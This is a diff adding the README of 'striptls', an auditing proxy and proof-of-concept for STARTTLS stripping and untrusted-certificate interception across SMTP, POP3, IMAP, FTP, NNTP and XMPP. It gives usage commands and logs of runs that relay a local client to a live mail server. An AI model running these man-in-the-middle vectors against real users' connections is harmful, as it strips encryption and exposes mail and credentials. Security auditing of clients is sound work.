diff --git a/README.rst b/README.rst new file mode 100644 index 0000000..be9bc6c --- /dev/null +++ b/README.rst @@ -0,0 +1,259 @@ +striptls - auditing proxy +========================= + +poc implementation of STARTTLS stripping attacks + +- SMTP +- SMTP.StripFromCapabilities - server response capability patch +- SMTP.StripWithInvalidResponseCode - client STARTTLS stripping, + invalid response code +- SMTP.UntrustedIntercept - STARTTLS interception (client and server + talking ssl) (requires server.pem in pwd) +- SMTP.StripWithTemporaryError +- SMTP.StripWithError +- POP3 (untested) +- POP3.StripFromCapabilities +- POP3.StripWithError +- POP3.UntrustedIntercept +- IMAP (untested) +- IMAP.StripFromCapabilities +- IMAP.StripWithError +- IMAP.UntrustedIntercept +- FTP (untested) +- FTP.StripFromCapabilities +- FTP.StripWithError +- FTP.UntrustedIntercept +- NNTP (untested) +- NNTP.StripFromCapabilities +- NNTP.StripWithError +- NNTP.UntrustedIntercept +- XMPP (untested) +- XMPP.StripFromCapabilities + +Usage +----- + +:: + + #> python -m striptls --help # if installed from pip/setup.py + #> python striptls --help # from source / root folder + Usage: striptls [options] + + example: striptls --listen 0.0.0.0:25 --remote mail.server.tld:25 + + + Options: + -h, --help show this help message and exit + -v, --verbose make lots of noise [default] + -l LISTEN, --listen=LISTEN + listen ip:port [default: 0.0.0.0:] + -r REMOTE, --remote=REMOTE + remote target ip:port to forward sessions to + -k KEY, --key=KEY SSL Certificate and Private key file to use, PEM + format assumed [default: server.pem] + -x VECTORS, --vectors=VECTORS + Comma separated list of vectors. Use 'ALL' (default) + to select all vectors. Available vectors: + FTP.StripFromCapabilities, FTP.StripWithError, + FTP.UntrustedIntercept, IMAP.StripFromCapabilities, + IMAP.StripWithError, IMAP.UntrustedIntercept, + NNTP.StripFromCapabilities, NNTP.StripWithError, + NNTP.UntrustedIntercept, POP3.StripWithError, + POP3.UntrustedIntercept, SMTP.StripFromCapabilities, + SMTP.StripWithError, + SMTP.StripWithInvalidResponseCode, + SMTP.StripWithTemporaryError, SMTP.UntrustedIntercept, + XMPP.StripFromCapabilities [default: ALL] + +Install (optional) +------------------ + +from pip + +:: + + #> pip install striptls + +from source + +:: + + #> setup.py install + +Examples +-------- + +:: + + inbound outbound + [inbound_peer]<------------->[listen:proxy]<------------->[outbound_peer/target] + smtp-client striptls remote/target + +local ``smtp-client`` -> ``localhost:8825`` (proxy) -> +``mail.gmx.net:25`` + +Audit Mode +~~~~~~~~~~ + +iterates all protocol specific cases on a per client basis and keeps +track of clients violating the starttls protocol. Ctrl+C to abort audit +and print results. + +:: + + #> python striptls --listen localhost:8825 --remote=mail.gmx.net:25 + 2016-02-02 22:11:56,275 - INFO - ready. + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:21 , proto: FTP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:143 , proto: IMAP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:119 , proto: NNTP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:110 , proto: POP3): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:110 , proto: POP3): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:25 , proto: SMTP): + 2016-02-02 22:11:56,275 - DEBUG - * added test (port:25 , proto: SMTP): + 2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP): + 2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP): + 2016-02-02 22:11:56,276 - DEBUG - * added test (port:25 , proto: SMTP): + 2016-02-02 22:11:56,276 - DEBUG - * added test (port:5222 , proto: XMPP): + 2016-02-02 22:11:56,276 - INFO - ]), 110: set([, ]), 143: set([, , ]), 21: set([, , ]), 119: set([, , ]), 25: set([, , , , ])}> + 2016-02-02 22:12:08,477 - DEBUG - - protocol detected (target port) + 2016-02-02 22:12:08,530 - INFO - client ('127.0.0.1', 28902) has connected + 2016-02-02 22:12:08,530 - INFO - connecting to target ('mail.gmx.net', 25) + 2016-02-02 22:12:08,805 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx001) Nemesis ESMTP Service ready\r\n' + 2016-02-02 22:12:08,805 - DEBUG - + 2016-02-02 22:12:09,759 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n' + 2016-02-02 22:12:09,850 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' + 2016-02-02 22:12:09,851 - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n' + 2016-02-02 22:12:09,867 - DEBUG - [client] => [server] 'STARTTLS\r\n' + 2016-02-02 22:12:09,867 - DEBUG - [client] <= [server][mangled] '200 STRIPTLS\r\n' + 2016-02-02 22:12:09,867 - DEBUG - [client] => [server][mangled] None + 2016-02-02 22:12:09,883 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n' + 2016-02-02 22:12:09,983 - DEBUG - [client] <= [server] '530 Authentication required\r\n' + 2016-02-02 22:12:09,992 - DEBUG - [client] => [server] 'rset\r\n' + 2016-02-02 22:12:10,100 - DEBUG - [client] <= [server] '250 OK\r\n' + 2016-02-02 22:12:10,116 - WARNING - terminated. + 2016-02-02 22:12:13,056 - DEBUG - - protocol detected (target port) + 2016-02-02 22:12:13,056 - INFO - client ('127.0.0.1', 28905) has connected + 2016-02-02 22:12:13,057 - INFO - connecting to target ('mail.gmx.net', 25) + 2016-02-02 22:12:13,241 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n' + 2016-02-02 22:12:13,241 - DEBUG - + 2016-02-02 22:12:14,197 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n' + 2016-02-02 22:12:14,289 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' + 2016-02-02 22:12:14,304 - DEBUG - [client] => [server] 'STARTTLS\r\n' + 2016-02-02 22:12:14,305 - DEBUG - [client] <= [server][mangled] '454 TLS not available due to temporary reason\r\n' + 2016-02-02 22:12:14,305 - DEBUG - [client] => [server][mangled] None + 2016-02-02 22:12:14,320 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n' + 2016-02-02 22:12:14,411 - DEBUG - [client] <= [server] '530 Authentication required\r\n' + 2016-02-02 22:12:14,415 - DEBUG - [client] => [server] 'rset\r\n' + 2016-02-02 22:12:14,520 - DEBUG - [client] <= [server] '250 OK\r\n' + 2016-02-02 22:12:14,535 - WARNING - terminated. + 2016-02-02 22:12:16,649 - DEBUG - - protocol detected (target port) + 2016-02-02 22:12:16,650 - INFO - client ('127.0.0.1', 28908) has connected + 2016-02-02 22:12:16,650 - INFO - connecting to target ('mail.gmx.net', 25) + 2016-02-02 22:12:16,820 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n' + 2016-02-02 22:12:16,820 - DEBUG - + 2016-02-02 22:12:17,760 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n' + 2016-02-02 22:12:17,849 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' + 2016-02-02 22:12:17,849 - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n' + 2016-02-02 22:12:17,871 - WARNING - terminated. + 2016-02-02 22:12:20,071 - DEBUG - - protocol detected (target port) + 2016-02-02 22:12:20,072 - INFO - client ('127.0.0.1', 28911) has connected + 2016-02-02 22:12:20,072 - INFO - connecting to target ('mail.gmx.net', 25) + 2016-02-02 22:12:20,239 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n' + 2016-02-02 22:12:20,240 - DEBUG - + 2016-02-02 22:12:21,181 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n' + 2016-02-02 22:12:21,269 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.2]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' + 2016-02-02 22:12:21,280 - DEBUG - [client] => [server] 'STARTTLS\r\n' + 2016-02-02 22:12:21,281 - DEBUG - [client] <= [server][mangled] '501 Syntax error\r\n' + 2016-02-02 22:12:21,281 - DEBUG - [client] => [server][mangled] None + 2016-02-02 22:12:21,289 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n' + 2016-02-02 22:12:21,381 - DEBUG - [client] <= [server] '530 Authentication required\r\n' + 2016-02-02 22:12:21,386 - DEBUG - [client] => [server] 'rset\r\n' + 2016-02-02 22:12:21,469 - DEBUG - [client] <= [server] '250 OK\r\n' + 2016-02-02 22:12:21,485 - WARNING - terminated. + 2016-02-02 22:12:23,665 - WARNING - Ctrl C - Stopping server + 2016-02-02 22:12:23,665 - INFO - -- audit results -- + 2016-02-02 22:12:23,666 - INFO - [*] client: 127.0.0.1 + 2016-02-02 22:12:23,666 - INFO - [Vulnerable!] + 2016-02-02 22:12:23,666 - INFO - [Vulnerable!] + 2016-02-02 22:12:23,666 - INFO - [ ] + 2016-02-02 22:12:23,666 - INFO - [Vulnerable!] + +Strip STARTTLS from server capabilities +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +:: + + #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripFromCapabilities + 2016-01-31 15:44:35,000 - INFO - ready. + 2016-01-31 15:44:35,000 - INFO - ])}> + 2016-01-31 15:44:37,030 - DEBUG - - protocol detected (target port) + 2016-01-31 15:44:37,032 - INFO - client ('127.0.0.1', 20070) has connected + 2016-01-31 15:44:37,032 - INFO - connecting to target ('mail.gmx.net', 25) + 2016-01-31 15:44:39,051 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n' + 2016-01-31 15:44:40,335 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n' + 2016-01-31 15:44:40,746 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' + 2016-01-31 15:44:40,746 - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250 AUTH LOGIN PLAIN\r\n' + 2016-01-31 15:44:40,746 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n' + 2016-01-31 15:44:41,292 - DEBUG - [client] <= [server] '530 Authentication required\r\n' + 2016-01-31 15:44:41,292 - DEBUG - [client] => [server] 'rset\r\n' + 2016-01-31 15:44:41,605 - DEBUG - [client] <= [server] '250 OK\r\n' + 2016-01-31 15:44:41,612 - WARNING - terminated. + +Invalid STARTTLS response code +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +:: + + #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.StripWithInvalidResponseCode + 2016-01-31 15:42:40,325 - INFO - ready. + 2016-01-31 15:42:40,325 - INFO - ])}> + 2016-01-31 15:43:19,755 - DEBUG - - protocol detected (target port) + 2016-01-31 15:43:19,756 - INFO - client ('127.0.0.1', 20061) has connected + 2016-01-31 15:43:19,756 - INFO - connecting to target ('mail.gmx.net', 25) + 2016-01-31 15:43:21,473 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx003) Nemesis ESMTP Service ready\r\n' + 2016-01-31 15:43:22,395 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n' + 2016-01-31 15:43:23,019 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' + 2016-01-31 15:43:23,019 - DEBUG - [client] <= [server][mangled] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250-STARTTLS\r\n250 STARTTLS\r\n' + 2016-01-31 15:43:23,035 - DEBUG - [client] => [server] 'STARTTLS\r\n' + 2016-01-31 15:43:23,035 - DEBUG - [client] <= [server][mangled] '200 STRIPTLS\r\n' + 2016-01-31 15:43:23,035 - DEBUG - [client] => [server][mangled] None + 2016-01-31 15:43:23,035 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n' + 2016-01-31 15:43:23,160 - DEBUG - [client] <= [server] '530 Authentication required\r\n' + 2016-01-31 15:43:23,160 - DEBUG - [client] => [server] 'rset\r\n' + 2016-01-31 15:43:23,269 - DEBUG - [client] <= [server] '250 OK\r\n' + 2016-01-31 15:43:23,285 - WARNING - terminated. + +Untrusted SSL Intercept (for clients not checking server cert trust) +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +:: + + #> python striptls --listen=localhost:8825 --remote=mail.gmx.net:25 --test=SMTP.UntrustedIntercept + 2016-01-31 15:59:02,417 - INFO - ready. + 2016-01-31 15:59:02,417 - INFO - ])}> + 2016-01-31 15:59:06,292 - DEBUG - - protocol detected (target port) + 2016-01-31 15:59:06,293 - INFO - client ('127.0.0.1', 20238) has connected + 2016-01-31 15:59:06,293 - INFO - connecting to target ('mail.gmx.net', 25) + 2016-01-31 15:59:06,561 - DEBUG - [client] <= [server] '220 gmx.com (mrgmx002) Nemesis ESMTP Service ready\r\n' + 2016-01-31 15:59:07,500 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n' + 2016-01-31 15:59:07,565 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 31457280\r\n250-AUTH LOGIN PLAIN\r\n250 STARTTLS\r\n' + 2016-01-31 15:59:07,581 - DEBUG - [client] => [server] 'STARTTLS\r\n' + 2016-01-31 15:59:07,581 - DEBUG - [client] <= [server][mangled] '220 Go ahead\r\n' + 2016-01-31 15:59:07,832 - DEBUG - [client] <= [server][mangled] waiting for inbound SSL Handshake + 2016-01-31 15:59:07,832 - DEBUG - [client] => [server] 'STARTTLS\r\n' + 2016-01-31 15:59:07,926 - DEBUG - [client] => [server][mangled] performing outbound SSL handshake + 2016-01-31 15:59:08,219 - DEBUG - [client] => [server][mangled] None + 2016-01-31 15:59:08,219 - DEBUG - [client] => [server] 'ehlo [192.168.139.1]\r\n' + 2016-01-31 15:59:08,312 - DEBUG - [client] <= [server] '250-gmx.com Hello [192.168.139.1] [109.126.64.18]\r\n250-SIZE 69920427\r\n250 AUTH LOGIN PLAIN\r\n' + 2016-01-31 15:59:08,312 - DEBUG - [client] => [server] 'mail FROM: size=10\r\n' + 2016-01-31 15:59:08,407 - DEBUG - [client] <= [server] '530 Authentication required\r\n' + 2016-01-31 15:59:08,407 - DEBUG - [client] => [server] 'rset\r\n' + 2016-01-31 15:59:08,469 - DEBUG - [client] <= [server] '250 OK\r\n' + 2016-01-31 15:59:08,484 - WARNING - terminated. +